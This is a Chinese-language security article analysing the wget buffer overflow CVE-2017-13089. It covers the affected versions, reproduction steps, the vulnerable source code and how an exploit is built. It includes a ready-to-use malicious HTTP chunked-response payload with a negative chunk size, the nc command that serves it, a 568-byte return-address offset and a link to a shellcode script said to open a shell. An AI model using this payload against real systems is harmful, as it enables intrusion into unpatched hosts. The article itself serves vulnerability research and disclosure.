Wget缓冲区溢出漏洞分析—【CVE-2017-13089】

大又甜的西瓜 / 2017-11-21 11:22:00 / 浏览数 2253 技术文章 技术文章 顶(0) 踩(0)

作者:k2yk

日期:2017/11/13 最后更新日期:2017/11/15

### 0x00 漏洞描述

在 2017 年 11 月 12 日 NVD公布了关于 wget 的多个漏洞的情报,这里做一个wget缓冲区溢出漏洞的分析。在 wget 版本小于1.19.2 的情况下,wget 在处理重定向时,会调用 http.c:skip\_short\_body()函数,解析器在解析块时会使用 strtol()

函数读取每个块的长度,但不检查块长度是否为非负数。解析器试图通过使用 MIN()函数跳过块的前512个字节,最终传递参数到 connect.c:fd\_read()中。由于 fd\_read()仅会接受一个int参数,在攻击者试图放入一个负参数时,块长度的高32位被丢弃,使攻击者可以控制 fd\_read()中的长度参数,产生整形缓冲区溢出漏洞。

#### 影响范围

```
影响版本为:wget <=1.19.1
影响系统范围如下:
```

```
Ubuntu Ubuntu Linux 17.10
Ubuntu Ubuntu Linux 17.04
Ubuntu Ubuntu Linux 16.04 LTS
Ubuntu Ubuntu Linux 14.04 LTS
Redhat Virtualization Host 4
Redhat Enterprise Linux Workstation 7
Redhat Enterprise Linux Server for ARM 7
Redhat Enterprise Linux Server - TUS 7.4
Redhat Enterprise Linux Server - Extended Update Support 7.4
Redhat Enterprise Linux Server - AUS 7.4
Redhat Enterprise Linux Server - 4 Year Extended Update Support 7.4
Redhat Enterprise Linux Server (for IBM Power LE) - 4 Year Extended Update Support 7.4
Redhat Enterprise Linux for Scientific Computing 7
Redhat Enterprise Linux for Power, little endian - Extended Update Supp 7.4
Redhat Enterprise Linux for Power, little endian 7
Redhat Enterprise Linux for Power, big endian - Extended Update Support 7.4
Redhat Enterprise Linux for Power, big endian 7
Redhat Enterprise Linux for IBM z Systems - Extended Update Support 7.4
Redhat Enterprise Linux for IBM z Systems 7
Redhat Enterprise Linux EUS Compute Node 7.4
Redhat Enterprise Linux Desktop 7
Redhat Enterprise Linux 7
GNU wget 0
```

在实际测试过程中,这个漏洞会因为某些系统修改过wget而导致无法复现。

#### 0x01 漏洞分析

## 环境复现

现在本地搭建一个漏洞复现环境,漏洞复现过程这里推荐两个方案,一个是漏洞发现作者在git 上进行发布的dockerfile ,另外一个是自己进行编译的版本。

CVE-2017-13089 的git 环境地址 https://github.com/r1b/CVE-2017-13089

• 使用方法

```
# Build the container
docker build -t cve201713089 .
# OR ...
docker pull robertcolejensen/cve201713089

# Play around in the container, `src` will be mounted at `/opt/CVE-2017-13089/src` ./run.sh

# Run the included DoS PoC
./run.sh dos
```

```
# Run the included exploit PoC (wip)
./run.sh exploit
• 其次就是通过自己编译进行复现
shell
# ■■wget
wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
#====
cd wget-1.19.1
./configure
make
cd src
nc -lp 6666 < payload & ./wget localhost:6666
下方为payload 文件:
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
漏洞复现
下图为复现过程
分析
利用分析工具以及payload的相关特性,
我们根据分析工具的分析结果,除却引发漏洞的异常抛出外,我们发现了一个特别的函数skip_short_body。
static bool skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
  SKIP_SIZE = 512,
                              /* size of the download buffer */
  SKIP_THRESHOLD = 4096
                        /* the largest size we read */
 };
wgint remaining_chunk_size = 0;
 char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0';
                         /* so DEBUGP can safely print it */
 /* If the body is too large, it makes more sense to simply close the
   connection than to try to read the body. */
 if (contlen > SKIP_THRESHOLD)
  return false;
 while (contlen > 0 || chunked)
  {
    int ret;
    if (chunked)
       if (remaining_chunk_size == 0)
           char *line = fd_read_line (fd);
           char *endl;
           if (line == NULL)
```

break;

```
remaining_chunk_size = strtol (line, &endl, 16);
             xfree (line);
             if (remaining_chunk_size == 0)
                line = fd_read_line (fd);
                xfree (line);
                break;
              }
           }
        contlen = MIN (remaining_chunk_size, SKIP_SIZE);
     DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
     ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
     if (ret <= 0)
      {
        / \, ^{\star} Don't normally report the error since this is an
           optimization that should be invisible to the user. */
        DEBUGP (("] aborting (%s).\n",
                ret < 0 ? fd_errstr (fd) : "EOF received"));</pre>
        return false;
      }
     contlen -= ret;
     if (chunked)
        remaining_chunk_size -= ret;
        if (remaining_chunk_size == 0)
            char *line = fd_read_line (fd);
            if (line == NULL)
              return false;
            else
              xfree (line);
      }
     /* Safe even if %.*s bogusly expects terminating \backslash 0 because
       we've zero-terminated dlbuf above. */
    DEBUGP (("%.*s", ret, dlbuf));
 DEBUGP (("] done.\n"));
 return true;
根据这段代码逻辑,我们可以简单的理出一个简单的代码逻辑。
wget 在检测 short_body 的时候 先要检测出传输的块的大小,假若传入的块的大小的值不大于 4096 则进入进入这个漏洞的受害逻辑内。
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
 int ret;
 if (chunked)
  {
     if (remaining_chunk_size == 0)
        char *line = fd_read_line (fd);
        char *endl;
        if (line == NULL)
          break;
         remaining_chunk_size = strtol (line, &endl, 16);
```

{

```
xfree (line);
        if (remaining_chunk_size == 0)
            line = fd_read_line (fd);
            xfree (line);
            break;
          }
      }
 contlen = MIN (remaining_chunk_size, SKIP_SIZE);
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
从这段代码中分析出, contlen = MIN (remaining_chunk_size, SKIP_SIZE); 只需小于512时, contlen
可控,综合上述代码逻辑,可以得出remaining_chunk_size 位负值时,contlen为可控向量。在后面的代码逻辑中,fd_read()
使用了该受控制的向量,引发了缓冲区溢出漏洞。
int
fd_read (int fd, char *buf, int bufsize, double timeout)
 struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
 if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
  return -1;
 if (info && info->imp->reader)
  return info->imp->reader (fd, buf, bufsize, info->ctx);
 else
  return sock_read (fd, buf, bufsize);
```

我们可以看到在利用GDB进行调试的情况下,成功控制了利用溢出成功劫持了下一步执行的地址。

进入栈执行

利用成功演示

EXP 构造

EXP的构造主要有2个要点:

- 第一 栈的定位
- 第二 偏移量

偏移量这个点,根据写入栈的地址以及控制返回的栈地址我们可以得出,能够控制 RBP 的地址在写入栈的地址后的568位。因此,我们在构造EXP时,将即将控制栈的地址在shellcode 的568位后写入,即可实现对指针的控制。

0x02 POC

ShellCode生成脚本:

https://github.com/mzeyong/CVE-2017-13089

使用方式:

python shellcode.py & nc -lp 80 < payload

该 ShellCode会在目标机器开启一个新的 shell,无其他危害,仅为演示证明漏洞存在。如果有小伙伴对通用型exp构造有兴趣可以一起交流!!!

点击收藏 | 0 关注 | 1

上一篇:深入理解XSS编码--浏览器解析原... 下一篇:某系列光猫几处漏洞分析

- 1. 0 条回复
  - 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

# 现在登录

热门节点

技术文章

<u>社区小黑板</u>

目录

RSS <u>关于社区</u> 友情链接 社区小黑板